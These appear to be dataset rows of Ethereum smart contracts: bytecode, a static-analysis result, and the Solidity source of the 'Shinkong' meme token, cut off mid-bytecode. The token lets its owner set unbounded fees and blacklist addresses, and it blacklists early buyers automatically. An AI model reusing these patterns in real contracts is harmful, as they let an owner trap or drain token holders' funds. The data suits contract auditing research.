190505050610836565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a56109e8565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cd57600080fd5b506102ec600480360381019080803590602001909291905050506109fb565b604051808215151515815260200191505060405180910390f35b34801561031257600080fd5b50610347600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aff565b6040518082815260200191505060405180910390f35b34801561036957600080fd5b506103a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b17565b604051808215151515815260200191505060405180910390f35b3480156103ce57600080fd5b506103d7610d31565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042557600080fd5b5061042e610d56565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046e578082015181840152602081019050610453565b50505050905090810190601f16801561049b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b557600080fd5b506104f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df4565b005b34801561050257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e03565b604051808215151515815260200191505060405180910390f35b34801561055d57600080fd5b506105e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610e23565b604051808215151515815260200191505060405180910390f35b34801561060857600080fd5b5061065d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa6565b6040518082815260200191505060405180910390f35b34801561067f57600080fd5b506106c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610fcb565b005b3480156106ce57600080fd5b50610703600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f0565b005b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561079b5780601f106107705761010080835404028352916020019161079b565b820191906000526020600020905b81548152906001019060200180831161077e57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108c357600080fd5b61095282600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118e90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109dd8484846111a7565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a4b57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60056020528060005260406000206000915090505481565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b6757600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bf257600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dec5780601f10610dc157610100808354040283529160200191610dec565b820191906000526020600020905b815481529060010190602001808311610dcf57829003601f168201915b505050505081565b610dff3383836111a7565b5050565b60076020528060005260406000206000915054906101000a900460ff1681565b600080849050610e3385856107a3565b15610f9d578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f2d578082015181840152602081019050610f12565b50505050905090810190601f168015610f5a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610f7c57600080fd5b505af1158015610f90573d6000803e3d6000fd5b5050505060019150610f9e565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102657600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114b57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561119c57fe5b818303905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156111cd57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561121b57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ad82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ff90919063ffffffff16565b1115156112b957600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561131257600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561136b57600080fd5b6113bd81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118e90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145281600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ff90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561151357fe5b80915050929150505600a165627a7a7230582021c3a825e5c971ca93260d04e6219b8b3d241cbb5b8a29b9b62bc53fe899ee270029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 1,497 |
0x549E056860B1eDCB33458Cc9759cC18a97Dd8864 | /**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-14
*/
/**
Shinkong - $SHINKONG
Website: https://shinkong.xyz
Twitter: https://twitter.com/theShinkong
Telegram: https://t.me/Shinkong
The leader of all Kong’s is here to take over the Ethereum Blockchain!
We present to you a collaboration of two of the best communities, Shinja X MemeKong!
Launching March 14th between 6-9 pm EST!
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Shinkong is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shinkong";//
string private constant _symbol = "SHINKONG";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 11;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 11;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x39475C796bECEE94C12A6d6F4fFF8b89770DCE29);//
address payable private _marketingAddress = payable(0xf1235f5Df602d75801d0bc5a35021Cd117FE0696);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 8800000 * 10**9; //
uint256 public _maxWalletSize = 16400000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613044565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a1565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa4565b610869565b604051610264919061346b565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f9190613486565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613683565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f51565b6108bd565b6040516102f7919061346b565b60405180910390f35b34801561030c57600080fd5b50610315610996565b6040516103229190613683565b60405180910390f35b34801561033757600080fd5b5061034061099c565b60405161034d91906136f8565b60405180910390f35b34801561036257600080fd5b5061036b6109a5565b6040516103789190613450565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612eb7565b6109cb565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061308d565b610abb565b005b3480156103df57600080fd5b506103e8610b6c565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612eb7565b610c3d565b60405161041e9190613683565b60405180910390f35b34801561043357600080fd5b5061043c610c8e565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ba565b610de1565b005b34801561047357600080fd5b5061047c610e80565b6040516104899190613683565b60405180910390f35b34801561049e57600080fd5b506104a7610e86565b6040516104b49190613450565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061308d565b610eaf565b005b3480156104f257600080fd5b506104fb610f68565b6040516105089190613683565b60405180910390f35b34801561051d57600080fd5b50610526610f6e565b60405161053391906134a1565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130ba565b610fab565b005b34801561057157600080fd5b5061058c600480360381019061058791906130e7565b61104a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa4565b611101565b6040516105c2919061346b565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612eb7565b61111f565b6040516105ff919061346b565b60405180910390f35b34801561061457600080fd5b5061061d61113f565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe4565b611218565b005b34801561065457600080fd5b5061065d611352565b60405161066a9190613683565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f11565b611358565b6040516106a79190613683565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130ba565b6113df565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612eb7565b61147e565b005b61070a611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e3565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a76565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139cf565b91505061079a565b5050565b60606040518060400160405280600881526020017f5368696e6b6f6e67000000000000000000000000000000000000000000000000815250905090565b600061087d610876611640565b8484611648565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108ca848484611813565b61098b846108d6611640565b61098685604051806060016040528060288152602001613f2460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093c611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f39092919063ffffffff16565b611648565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a57906135e3565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b47906135e3565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bad611640565b73ffffffffffffffffffffffffffffffffffffffff161480610c235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0b611640565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2c57600080fd5b6000479050610c3a81612257565b50565b6000610c87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612352565b9050919050565b610c96611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de9611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d906135e3565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b906135e3565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600881526020017f5348494e4b4f4e47000000000000000000000000000000000000000000000000815250905090565b610fb3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611037906135e3565b60405180910390fd5b8060198190555050565b611052611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906135e3565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111561110e611640565b8484611813565b6001905092915050565b60116020528060005260406000206000915054906101000a900460f